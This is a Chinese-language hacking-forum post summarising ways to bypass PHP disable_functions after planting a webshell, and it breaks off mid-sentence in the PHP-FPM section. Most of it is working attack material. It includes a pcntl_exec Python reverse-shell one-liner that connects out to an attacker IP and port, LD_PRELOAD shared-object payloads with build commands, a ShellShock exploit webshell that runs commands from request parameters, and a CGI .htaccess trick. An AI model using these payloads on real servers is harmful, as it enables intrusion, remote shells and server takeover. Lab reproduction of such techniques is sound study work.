標題:常見Bypass Disable Functions方法

taibeihacker

Moderator

常见 Bypass Disable Functions 方法总结​

1 背景​

PHP.ini 中可以設置禁用一些危險函數,例如eval、exec、system 等,將其寫在php.ini 配置文件中,就是我們所說的disable_functions 了,特別是虛擬主機運營商,為了徹底隔離同服務器的客戶,以及避免出現大面積的安全問題,在disable_functions 的設置中也通常較為嚴格。
如果在滲透時,上傳了webshell 卻因為disable_functions 禁用了函數而無法執行命令,這時候就需要想辦法進行繞過,突破disable_functions。

2 黑名单绕过​

即便是通過disable functions 限制危險函數,也可能會有限制不全的情況。可以執行命令的函數可以參考:PHP webshell 檢測。還有一個比較常見的易被忽略的函數就是pcntl_exec。
pcntl 是linux 下的一個擴展,可以支持php 的多線程操作。很多時候會碰到禁用exec 函數的情況,但如果運維人員安全意識不強或對PHP 不甚了解,則很有可能忽略pcntl 擴展的相關函數。
使用pcntl_exec 的前提是開啟了pcntl 插件。
1
2
3
4
5
6
7
?php
if(function_exists('pcntl_exec')) {
pcntl_exec('/bin/bash', array('/tmp/test.sh'));
} else {
echo 'pcntl extension is not support!';
}
?
由於pcntl_exec() 執行命令是沒有回顯的,所以其常與python 結合來反彈shell:
1
?php pcntl_exec('/usr/bin/python',array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(('IP',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);'));
藍帽杯決賽中存在相關利用方式。

3 利用 LD_PRELOAD 环境变量​

3.1 原理​

LD_PRELOAD 是Linux 系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),它可以在用戶的程序運行前優先加載該動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量,我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫,甚至覆蓋正常的函數庫。一方面,可以利用此功能來使用自定義的函數,而另一方面,可以向別人的程序注入程序,從而達到特定的攻擊目的。
前提:
能夠上傳.so 文件
能夠控制LD_PRELOAD 環境變量的值,比如putenv() 函數
因為新進程啟動將加載LD_PRELOAD 中的.so 文件,所以要存在可以控制PHP 啟動外部程序的函數並能執行,比如mail()、imap_mail()、mb_send_mail() 和error_log() 函數等
下面介紹兩種常用的利用方式。

3.2 劫持函数(uid)​

3.2.1 原理​

編寫一個原型為uid_t getuid(void); 的C 函數,內部執行攻擊者指定的代碼,並編譯成共享對象getuid_shadow.so;
運行PHP 函數putenv()(用來配置系統環境變量),設定環境變量LD_PRELOAD 為getuid_shadow.so,以便後續啟動新進程時優先加載該共享對象;
運行PHP 的mail() 函數,mail() 內部啟動新進程/usr/sbin/sendmail,由於上一步LD_PRELOAD 的作用,sendmail 調用的系統函數getuid() 被優先級更好的getuid_shadow.so 中的同名getuid() 所劫持;達到不調用PHP 的各種命令執行函數(system、exec 等等)仍可執行系統命令的目的。

3.2.2 利用​

1
2
3
4
5
6
7
8
9
10
11
#include stdlib.h
#include stdio.h
#include string.h
void payload() {
system('ls /tmp/leon');
}
int getuid() {
if (getenv('LD_PRELOAD')==NULL) { return 0; }
unsetenv('LD_PRELOAD');
payload();
}
編譯成so 文件:
1
gcc -c -fPIC exp.c -o hack gcc --share hack -o exp.so
編寫test.php:
1
2
3
4
?php
putenv('LD_PRELOAD=./exp.so');
mail('','','','','');
?
但是,在真實環境中,存在兩方面問題:
一是,某些環境中,web 禁止啟用sendmail、甚至系統上根本未安裝sendmail,也就談不上劫持getuid(),通常的www-data 權限又不可能去更改php.ini 配置、去安裝sendmail 軟件;
二是,即便目標可以啟用sendmail,由於未將主機名(hostname 輸出)添加進hosts 中,導致每次運行sendmail 都要耗時半分鐘等待域名解析超時返回,www-data 也無法將主機名加入hosts。
基於這兩種方式,衍生出一種新的利用方式。

3.3 劫持启动进程​

回到LD_PRELOAD 本身,系統通過它預先加載共享對象,如果能找到一個方式,在加載時就執行代碼,而不用考慮劫持某一系統函數,那就完全可以不依賴sendmail 了。

3.3.1 __attribute__ 介绍​

GCC 有個C 語言擴展修飾符__attribute__((constructor)),可以讓由它修飾的函數在main() 之前執行,若它出現在共享對像中時,那麼一旦共享對像被系統加載,立即將執行__attribute__((constructor)) 修飾的函數。

3.2.2 利用​

簡單的exp:
1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include stdlib.h
#include unistd.h
#include sys/types.h
__attribute__ ((__constructor__)) void preload (void){
unsetenv('LD_PRELOAD');
system('whoami /tmp/leon');
}
但是unsetenv()在Centos 上無效,因為Centos 自己也hook了unsetenv(),在其內部啟動了其他進程,來不及刪除LD_PRELOAD 就又被劫持,導致無限循環,可以使用全局變量extern char** environ刪除,實際上,unsetenv() 就是對environ 的簡單封裝實現的環境變量刪除功能。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#define _GNU_SOURCE
#include stdlib.h
#include stdio.h
#include string.h
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
//get command line options and arg
const char* cmdline=getenv('EVIL_CMDLINE');
//unset environment variable LD_PRELOAD.
//unsetenv('LD_PRELOAD') no effect on some
//distribution (e.g. centos), I need crafty trick.
int i;
for (i=0; environ; ++i) {
if (strstr(environ, 'LD_PRELOAD')) {
environ[0]='\0';
}
}
//executive command
system(cmdline);
}
使用for 循環修改LD_PRELOAD 的首個字符改成\0,\0 是C 語言字符串結束標記,這樣可以讓系統原有的LD_PRELOAD 環境變量自動失效。
編譯:
1
gcc -c -fPIC exp.c -o hack gcc --share hack -o exp.so
詳情可見:bypass_disablefunc_via_LD_PRELOAD。
在AntSword-Labs 有相關環境,復現該漏洞。
202108312125514.png-water_print

嘗試執行命令:
202108312126976.png-water_print

使用LD_PRELOAD 插件繞過:
202108312127984.png-water_print

成功後可以看到/var/www/html/目錄下新建了一個.antproxy.php 文件。我們創建副本, 並將連接的URL shell 腳本名字改為.antproxy.php,就可以成功執行命令。
202108312130111.png-water_print

4 利用「破壳漏洞」- ShellShock​

4.1 前提​

Linux 操作系統
putenv()、mail() 或error_log() 函數可用
目標系統的/bin/bash 存在CVE-2014-6271 漏洞
/bin/sh - /bin/bash sh 默認的shell 是bash

4.2 原理​

該方法利用的bash 中的一個老漏洞,即Bash Shellshock 破殼漏洞(CVE-2014-6271)。
在Bash 中一種獨有的方法來定義函數, 即:通过环境变量来定义函数。當某個環境變量的值以字符串() { 的格式作為開頭, 那麼該變量就會被當前Bash 當作一個導出函數( export function ) , 該函數僅會在當前Bash 的子進程中生效。
202109011739693.png-water_print

一般函數體內的代碼不會被執行,但破殼漏洞會錯誤的將{} 花括號外的命令進行執行。 PHP 裡的某些函數(例如:mail()、imap_mail())能調用popen 或其他能夠派生bash 子進程的函數,可以通過這些函數來觸發破殼漏洞(CVE-2014-6271)執行命令。
EXP 腳本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
?php
function runcmd($c){
$d=dirname($_SERVER['SCRIPT_FILENAME']);
if(substr($d, 0, 1)=='/' function_exists('putenv') (function_exists('error_log') || function_exists('mail'))){
if(strstr(readlink('/bin/sh'), 'bash')!=FALSE){
$tmp=tempnam(sys_get_temp_dir(), 'as');
putenv('PHP_LOL=() { x; }; $c $tmp 21');
if (function_exists('error_log')) {
error_log('a', 1);
}else{
mail('[email protected]', '', '', '-bv');
}
}else{
print('Not vuln (not bash)\n');
}
$output=@file_get_contents($tmp);
@unlink($tmp);
if($output!=''){
print($output);
}else{
print('No output, or not vuln.');
}
}else{
print('不滿足使用條件');
}
}
//runcmd('whoami'); //要執行的命令
runcmd($_REQUEST['cmd']); //?cmd=whoami
?

4.3 利用​

同樣利用AntSword-Labs 裡的環境:bypass_disable_functions/2
嘗試使用http://ip:18080/?ant=system('ls'); 執行失敗。
AntSword 虛擬終端中已經集成了對ShellShock 的利用,直接在虛擬終端執行命令即可繞過disable_functions:
202109011718915.png-water_print

上圖中進程樹可以看到,利用了PHP error_log 函數在執行sh -c -t -i 時, Bash 的ShellShock 漏洞, 從而實現了執行我們自定義命令的目的。

5 利用 CGI​

5.1 Apache Mod CGI​

5.1.1 前提​

Linux 操作系統
Apache + PHP (apache 使用apache_mod_php)
Apache 開啟了cgi、rewrite
Web 目錄給了AllowOverride 權限
當前目錄可寫

5.1.2 原理​

為了解決Web 服務器與外部應用程序(CGI程序)之間數據互通,於是出現了CGI(Common Gateway Interface)通用網關接口。簡單理解,可以認為CGI 是Web 服務器和運行在其上的應用程序進行“交流”的一種約定。
當遇到動態腳本請求時,Web 服務器主進程就會Fork 創建出一個新的進程來啟動CGI 程序,運行外部C 程序或Perl、PHP 腳本等,也就是將動態腳本交給CGI 程序來處理。啟動CGI 程序需要一個過程,如讀取配置文件、加載擴展等。當CGI 程序啟動後會去解析動態腳本,然後將結果返回給Web 服務器,最後由Web 服務器將結果返回給客戶端,之前Fork 出來的進程也隨之關閉。這樣,每次用戶請求動態腳本,Web 服務器都要重新Fork 創建一個新進程去啟動CGI 程序,由CGI 程序來處理動態腳本,處理完成後進程隨之關閉,其效率是非常低下的。
而對於Mod CGI,Web 服務器可以內置Perl 解釋器或PHP 解釋器。 也就是說將這些解釋器做成模塊的方式,Web 服務器會在啟動的時候就啟動這些解釋器。 當有新的動態請求進來時,Web 服務器就是自己解析這些動態腳本,省得重新Fork 一個進程,效率提高了。
任何具有MIME 類型application/x-httpd-cgi 或者被cgi-script 處理器處理的文件都將被作為CGI 腳本對待並由服務器運行,它的輸出將被返回給客戶端。可以通過兩種途徑使文件成為CGI 腳本,一種是文件具有已由AddType 指令定義的擴展名,另一種是文件位於ScriptAlias 目錄中。
Apache 在配置開啟CGI 後可以用ScriptAlias 指令指定一個目錄,指定的目錄下面便可以存放可執行的CGI 程序。若是想臨時允許一個目錄可以執行CGI 程序並且使得服務器將自定義的後綴解析為CGI 程序執行,則可以在目的目錄下使用htaccess 文件進行配置,如下:
1
2
Options +ExecCGI
AddHandler cgi-script .xxx
這樣便會將當前目錄下的所有的.xxx 文件當做CGI 程序執行了。由於CGI 程序可以執行命令,那我們可以利用CGI 來執行系統命令繞過disable_functions。

5.1.3 利用​

同樣利用AntSword-Labs 裡的環境:bypass_disable_functions/3
用蟻劍拿到shell 後無法執行命令:
202108312126976.png-water_print

開啟CGI:
202109012051858.png-water_print

5.2 PHP-fpm​

5.2.1 前提​

Linux 操作系統
PHP-FPM
存在可寫的目錄,需要上傳.so 文件

5.2.2 原理​

PHP-FPM 是Fastcgi 的協議解析器,Web 服務器使用CGI 協議封裝好用戶的請求發送給FPM。 FPM 按照CGI 的協議將TCP 流解析成真正的數據。
舉個例子,用戶訪問http://127.0.0.1/index.php?a=1b=2 時,如果web 目錄是/var/www/html,那麼Nginx 會將這個請求變成如下key-value 對:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1b=2',
'REQUEST_URI': '/index.php?a=1b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': 'localhost',
'SERVER_PROTOCOL': 'HTTP/1.1'
}
這個數組其實就是PHP 中$_SERVER 數組的一部分,也就是PHP 裡的環境變量。但環境變量的作用不僅是填充$_SERVER 數組,也是告訴fpm:要執行哪個PHP 文件。
PHP-FPM 拿到Fastcgi 的數據包後,進行解析,得到上述這些環境變量。然後,執行SCRIPT_FILENAME 的值指向的PHP 文件,也就是/var/www/html/index.php 。

5.2.3 利用​

由於FPM 默認監聽的是9000 端口,我們就可以繞過Web 服務器,直接構造Fastcgi 協議,和fpm 進行通信。於是就有了利用Webshell 直接與FPM 通信來繞過disable functions 的姿勢。
但是,在構造Fastcgi,就能執行任意PHP 代碼前,需要突破幾個限制:
既然是請求,那麼SCRIPT_FILENAME 就相當的重要。前面說過,fpm 是根據這個值來執行PHP 文件文件的,如果不存在,會直接返回404,所以想要利用這
 
返回
上方